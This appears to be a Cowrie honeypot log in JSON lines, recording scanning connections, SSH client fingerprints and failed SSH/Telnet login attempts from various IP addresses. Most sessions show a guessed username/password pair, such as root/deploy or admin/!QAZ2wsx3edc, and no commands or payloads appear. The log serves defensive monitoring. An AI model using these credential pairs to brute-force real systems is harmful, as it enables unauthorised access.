{"eventid":"cowrie.session.connect","src_ip":"103.86.180.10","src_port":57217,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee1b0ced8d5a","protocol":"ssh","message":"New connection: 103.86.180.10:57217 (159.203.135.109:22) [session: ee1b0ced8d5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:52.641814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:52.645193Z","src_ip":"103.86.180.10","session":"ee1b0ced8d5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:52.841171Z","src_ip":"103.86.180.10","session":"ee1b0ced8d5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"000000","message":"login attempt [test/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:53.663216Z","src_ip":"103.86.180.10","session":"ee1b0ced8d5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:54.863386Z","src_ip":"103.86.180.10","session":"ee1b0ced8d5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.16456890106201,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:34:58.069753Z","src_ip":"137.184.155.248","session":"4c1c1f7b22af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":32952,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6287d3a89d8","protocol":"telnet","message":"New connection: 185.26.126.47:32952 (159.203.135.109:23) [session: c6287d3a89d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:35:11.347947Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.232","src_port":56844,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a9f288594a3","protocol":"ssh","message":"New connection: 190.244.39.232:56844 (10.17.0.5:22) [session: 3a9f288594a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:35:33.596333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:35:33.601594Z","src_ip":"190.244.39.232","session":"3a9f288594a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:35:33.804999Z","src_ip":"190.244.39.232","session":"3a9f288594a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":45036,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad9aeec130c8","protocol":"ssh","message":"New connection: 186.4.240.226:45036 (10.17.0.5:22) [session: ad9aeec130c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:35:34.442629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:35:34.446385Z","src_ip":"186.4.240.226","session":"ad9aeec130c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:35:34.538304Z","src_ip":"186.4.240.226","session":"ad9aeec130c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"testpass","message":"login attempt [test/testpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:35:34.606538Z","src_ip":"190.244.39.232","session":"3a9f288594a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234qwer`","message":"login attempt [root/1234qwer`] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:35:34.943091Z","src_ip":"186.4.240.226","session":"ad9aeec130c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:35:35.812394Z","src_ip":"190.244.39.232","session":"3a9f288594a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:35:36.038324Z","src_ip":"186.4.240.226","session":"ad9aeec130c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.253.251.7","src_port":53940,"dst_ip":"159.203.135.109","dst_port":22,"session":"69569572bf36","protocol":"ssh","message":"New connection: 72.253.251.7:53940 (159.203.135.109:22) [session: 69569572bf36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:35:39.134691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:35:39.138581Z","src_ip":"72.253.251.7","session":"69569572bf36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:35:39.255153Z","src_ip":"72.253.251.7","session":"69569572bf36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"zaq12wsx","message":"login attempt [ubuntu/zaq12wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:35:39.754759Z","src_ip":"72.253.251.7","session":"69569572bf36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:35:40.875347Z","src_ip":"72.253.251.7","session":"69569572bf36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":46334,"dst_ip":"10.17.0.5","dst_port":22,"session":"57257bd07721","protocol":"ssh","message":"New connection: 41.86.34.139:46334 (10.17.0.5:22) [session: 57257bd07721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:35:46.566259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:35:46.571025Z","src_ip":"41.86.34.139","session":"57257bd07721","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:35:46.781096Z","src_ip":"41.86.34.139","session":"57257bd07721","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reza","password":"reza123456","message":"login attempt [reza/reza123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:35:47.644726Z","src_ip":"41.86.34.139","session":"57257bd07721","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.90.110.186","src_port":36394,"dst_ip":"10.17.0.5","dst_port":22,"session":"439ba1ca52c0","protocol":"ssh","message":"New connection: 203.90.110.186:36394 (10.17.0.5:22) [session: 439ba1ca52c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:35:48.127234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:35:48.130879Z","src_ip":"203.90.110.186","session":"439ba1ca52c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:35:48.353410Z","src_ip":"203.90.110.186","session":"439ba1ca52c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:35:48.854344Z","src_ip":"41.86.34.139","session":"57257bd07721","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.180.10","src_port":37228,"dst_ip":"159.203.135.109","dst_port":22,"session":"29c6eb377d7e","protocol":"ssh","message":"New connection: 103.86.180.10:37228 (159.203.135.109:22) [session: 29c6eb377d7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:35:49.680349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:35:49.684305Z","src_ip":"103.86.180.10","session":"29c6eb377d7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:35:49.888577Z","src_ip":"103.86.180.10","session":"29c6eb377d7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!QAZ2wsx3edc","message":"login attempt [admin/!QAZ2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:35:49.940929Z","src_ip":"203.90.110.186","session":"439ba1ca52c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deploy","message":"login attempt [root/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:35:50.708968Z","src_ip":"103.86.180.10","session":"29c6eb377d7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:35:51.164586Z","src_ip":"203.90.110.186","session":"439ba1ca52c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:35:51.906889Z","src_ip":"103.86.180.10","session":"29c6eb377d7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.364434242248535,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:35:57.712237Z","src_ip":"185.26.126.47","session":"c6287d3a89d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":48116,"dst_ip":"10.17.0.5","dst_port":23,"session":"87015dff5822","protocol":"telnet","message":"New connection: 137.184.155.248:48116 (10.17.0.5:23) [session: 87015dff5822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:35:58.664772Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":60874,"dst_ip":"10.17.0.5","dst_port":23,"session":"37b1a09421c6","protocol":"telnet","message":"New connection: 137.184.155.248:60874 (10.17.0.5:23) [session: 37b1a09421c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:36:10.457360Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":41433,"dst_ip":"10.17.0.5","dst_port":22,"session":"0653f53409a1","protocol":"ssh","message":"New connection: 186.4.240.226:41433 (10.17.0.5:22) [session: 0653f53409a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:36:33.227936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:36:33.232418Z","src_ip":"186.4.240.226","session":"0653f53409a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:36:33.322138Z","src_ip":"186.4.240.226","session":"0653f53409a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"senha001","message":"login attempt [root/senha001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:36:33.806834Z","src_ip":"186.4.240.226","session":"0653f53409a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:36:34.898950Z","src_ip":"186.4.240.226","session":"0653f53409a1","protocol":"ssh"}
